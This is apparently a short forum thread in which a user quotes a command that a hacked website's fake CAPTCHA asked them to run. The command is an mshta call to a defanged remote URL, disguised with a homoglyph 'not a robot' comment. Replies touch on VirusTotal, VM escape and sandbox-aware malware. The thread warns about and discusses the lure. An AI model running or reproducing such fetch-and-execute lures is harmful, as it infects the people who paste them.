The text it wants me to run is the following:
mshta https://check/[dot]dasoc[dot]icu/gkcxv[dot]google?i=888x8x8x-x8xx-8888-xxx8-a00888888a1ab # Humаn, nоt а rоbоt: CAPTCHА Vеrіfісаtіоn ID: 552163’’
Looks like the site got hacked and wants be run malware, but I’ve never seen something like this before.
https://www.virustotal.com/gui/url/d735247640472ab4a405600193afdcfd3d3757d163f52d8a5a5dfa3176df58c3/detection
Possibly.
BTW, certain malware may be able to break out of a VM.
On the other, some malware may recognize that it is being run in a VM and do absolutely nothing to avoid analysis.
I’m sure proper malware analysts have dedicated non-virtual machines they can just format between tests.
Now I wonder if there are motherboards with easily re-flashable firmware (from a read-only device that couldn’t be tampered with).